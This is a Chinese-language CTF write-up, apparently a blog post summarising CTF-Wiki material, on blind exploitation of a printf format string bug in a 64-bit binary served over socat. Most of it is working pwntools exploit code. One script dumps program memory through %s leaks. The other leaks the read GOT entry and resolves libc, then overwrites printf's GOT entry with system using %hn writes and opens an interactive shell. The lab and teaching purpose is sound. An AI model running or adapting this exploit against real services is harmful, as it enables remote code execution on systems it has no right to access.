CTF中对格式化字符串漏洞的盲打,CTFWiKi上都有,自己只是拿来总结下过程
Blind_Got
环境
Code:
| 1 | #include <stdio.h> | 
| 2 | int main() { | 
| 3 |   char input[128]; | 
| 4 |   while (1) { | 
| 5 |     read(0, input, 128); | 
| 6 |     printf(input); | 
| 7 |     fflush(stdout); | 
| 8 |   } | 
| 9 |   return 0; | 
| 10 | } | 
利用Gcc编译,编译的同时关闭pie和canary保护
| 1 | gcc -fno-stack-protector -no-pie main.c -o blind | 
题目部署:
| 1 | nohup socat tcp-l:9999,reuseaddr,fork exec:./blind & | 
分析
首先程序题目应该什么都没有,那么我们就要利用所学的Pwn知识不断的尝试,然后对程序的返回结果进行分析
此处题目我放在本地,利于自己对题目的分析
在什么都不知道的情况下,输入%p,程序返回一个地址,且据地址可知道程序为64位,那么猜测这是格式化字符串…而且可以多次输入并返回结果
然后确定偏移量,最后获得偏移量为6
猜测FmtStr_Blind_Got 利用,第一步要做的则是泄露出部分程序代码,64位程序从0x40000开始泄漏[如果 开启起Pie,那么…没法玩]
我们采用下面的代码
| 1 | from pwn import* | 
| 2 | #context.log_level = 'debug' | 
| 3 | ip = '127.0.0.1' | 
| 4 | port = 8888 | 
| 5 | def leak(addr): | 
| 6 | 	num  = 0 | 
| 7 | 	while num < 3: | 
| 8 | 		try: | 
| 9 | #			print 'leak addr: ' + hex(addr) | 
| 10 | 			p = remote(ip,port) | 
| 11 | 			payload = '%00008$s'+'STARTEND'+p64(addr) | 
| 12 | 			if '\x0a' in payload: | 
| 13 | 				return None | 
| 14 | 			p.sendline(payload) | 
| 15 | 			date = p.recvuntil('STARTEND',drop = True) | 
| 16 | 			p.close() | 
| 17 | 			return date | 
| 18 | 		except Exception: | 
| 19 | 			num += 1 | 
| 20 | 			continue | 
| 21 | 	return None | 
| 22 | def getbinary(): | 
| 23 | 	addr = 0x400000 | 
| 24 | 	f = open('binary','w') | 
| 25 | 	while addr<0x401000: | 
| 26 | 		date = leak(addr) | 
| 27 | 		if date is None: | 
| 28 | 			f.write('\xff') | 
| 29 | 			addr +=1 | 
| 30 | 		elif len(date) == 0: | 
| 31 | 			f.write('\x00') | 
| 32 | 			addr +=1 | 
| 33 | 		else: | 
| 34 | 			f.write(date) | 
| 35 | 			addr +=len(date) | 
| 36 | 	f.close() | 
| 37 | getbinary() | 
本地目录生成了binary文件,用IDA进行简单的查看,可以确定某些信息,从而推断出程序部分原代码
IDA中查看,转化为汇编语言,对于此程序,其中大概能推测出有一个Read函数,一个printf函数  
程序泄漏的差不多了,之后我们要做的就是取得read_Got 以及 printf_Got 的地址,利用常规的FmtStr漏洞打印出我们需要的程序在服务器上的真实地址,从而泄露出libc版本,那么我们可以确定system_Addr并修改printf的Got表内地址为system函数的地址,最后令程序执行我们设定好的过程
利用
| 1 | #coding=utf8 | 
| 2 | import math | 
| 3 | from pwn import * | 
| 4 | from LibcSearcher import LibcSearcher | 
| 5 | context.log_level = 'debug' | 
| 6 | context.arch = 'amd64' | 
| 7 | ip = "127.0.0.1" | 
| 8 | port = 8888 | 
| 9 | def leak(addr): | 
| 10 | 	num  = 0 | 
| 11 | 	while num < 3: | 
| 12 | 		try: | 
| 13 | #			print 'leak addr: ' + hex(addr) | 
| 14 | 			p = remote(ip,port) | 
| 15 | 			payload = '%00008$s'+'STARTEND'+p64(addr) | 
| 16 | 			if '\x0a' in payload: | 
| 17 | 				return None | 
| 18 | 			p.sendline(payload) | 
| 19 | 			date = p.recvuntil('STARTEND',drop = True) | 
| 20 | 			p.close() | 
| 21 | 			return date | 
| 22 | 		except Exception: | 
| 23 | 			num += 1 | 
| 24 | 			continue | 
| 25 | 	return None | 
| 26 | def getbinary(): | 
| 27 | 	addr = 0x400000 | 
| 28 | 	f = open('binary','w') | 
| 29 | 	while addr<0x401000: | 
| 30 | 		date = leak(addr) | 
| 31 | 		if date is None: | 
| 32 | 			f.write('\xff') | 
| 33 | 			addr +=1 | 
| 34 | 		elif len(date) == 0: | 
| 35 | 			f.write('\x00') | 
| 36 | 			addr +=1 | 
| 37 | 		else: | 
| 38 | 			f.write(date) | 
| 39 | 			addr +=len(date) | 
| 40 | 	f.close() | 
| 41 | #getbinary() | 
| 42 | read_got = 0x404020 | 
| 43 | printf_got = 0x404018 | 
| 44 | log.success('Read   Got: ' + hex(read_got)) | 
| 45 | log.success('Printf Got: ' + hex(printf_got)) | 
| 46 | sh =remote(ip,port) | 
| 47 | # let the read get resolved | 
| 48 | sh.sendline('A') | 
| 49 | sh.recv() | 
| 50 | # get printf addr | 
| 51 | payload = '%00008$s' + 'STARTEND' + p64(read_got) | 
| 52 | sh.sendline(payload) | 
| 53 | read_addr = u64(sh.recvuntil('STARTEND', drop=True).ljust(8, '\x00')) | 
| 54 | sh.recv() | 
| 55 | |
| 56 | # get system addr | 
| 57 | libc = LibcSearcher('read', read_addr) | 
| 58 | libc_base = read_addr - libc.dump('read') | 
| 59 | system_addr = libc_base + libc.dump('system') | 
| 60 | log.success('system addr: ' + hex(system_addr)) | 
| 61 | log.success('read   addr: ' + hex(read_addr)) | 
| 62 | # modify printf_got | 
| 63 | def modify(modify_addr,address): | 
| 64 | 	modify_addr1 = modify_addr>>48 | 
| 65 | 	modify_addr2 = modify_addr>>32&0xffff | 
| 66 | 	modify_addr3 = modify_addr>>16&0xffff | 
| 67 | 	modify_addr4 = modify_addr&0xffff | 
| 68 | 	print 'Modify_Addr1:'+str(modify_addr1) | 
| 69 | 	print 'Modify_Addr2:'+str(modify_addr2) | 
| 70 | 	print 'Modify_Addr3:'+str(modify_addr3) | 
| 71 | 	print 'Modify_Addr4:'+str(modify_addr4) | 
| 72 | 	if modify_addr1 != 0:  | 
| 73 | 		payload = '%'+str(modify_addr1)+'c%6$hn'+'%'+str(modify_addr2-modify_addr1)+'c%7$hn'+'%' + str(modify_addr3-modify_addr2)+'c%8$hn'+'%'+str(modify_addr4-modify_addr3)+'c%9$hn' | 
| 74 | 	else: | 
| 75 | 		payload = '%6$hn'+'%'+str(modify_addr2-modify_addr1)+'c%7$hn'+'%' + str(modify_addr3-modify_addr2)+'c%8$hn'+'%'+str(modify_addr4-modify_addr3)+'c%9$hn' | 
| 76 | 	offset = (int)(math.ceil(len(payload) / 8.0) + 1) | 
| 77 | 	for i in range(6,10): | 
| 78 | 		old = '%{}$'.format(i) | 
| 79 | 		new = '%{}$'.format(offset + i) | 
| 80 | 		payload = payload.replace(old, new) | 
| 81 | 	remain = (8 - len(payload)%8)*'A' | 
| 82 | 	payload += remain | 
| 83 | 	payload +=p64(address+6)+p64(address+4)+p64(address + 2) +p64(address) | 
| 84 | 	sh.sendline(payload) | 
| 85 | modify(system_addr,printf_got) | 
| 86 | sh.recvrepeat(0.5) | 
| 87 | # get shell | 
| 88 | sh.sendline('/bin/sh;') | 
| 89 | sh.interactive() | 
上述EXP对System地址分成的四个部分有大小要求,所以需要尝试多次,以满足程序要求,TTTTTTTCL
文章总体取自CTF-Wiki,总体上来讲,借鉴颇多,收获匪浅!!!
下载:EXP
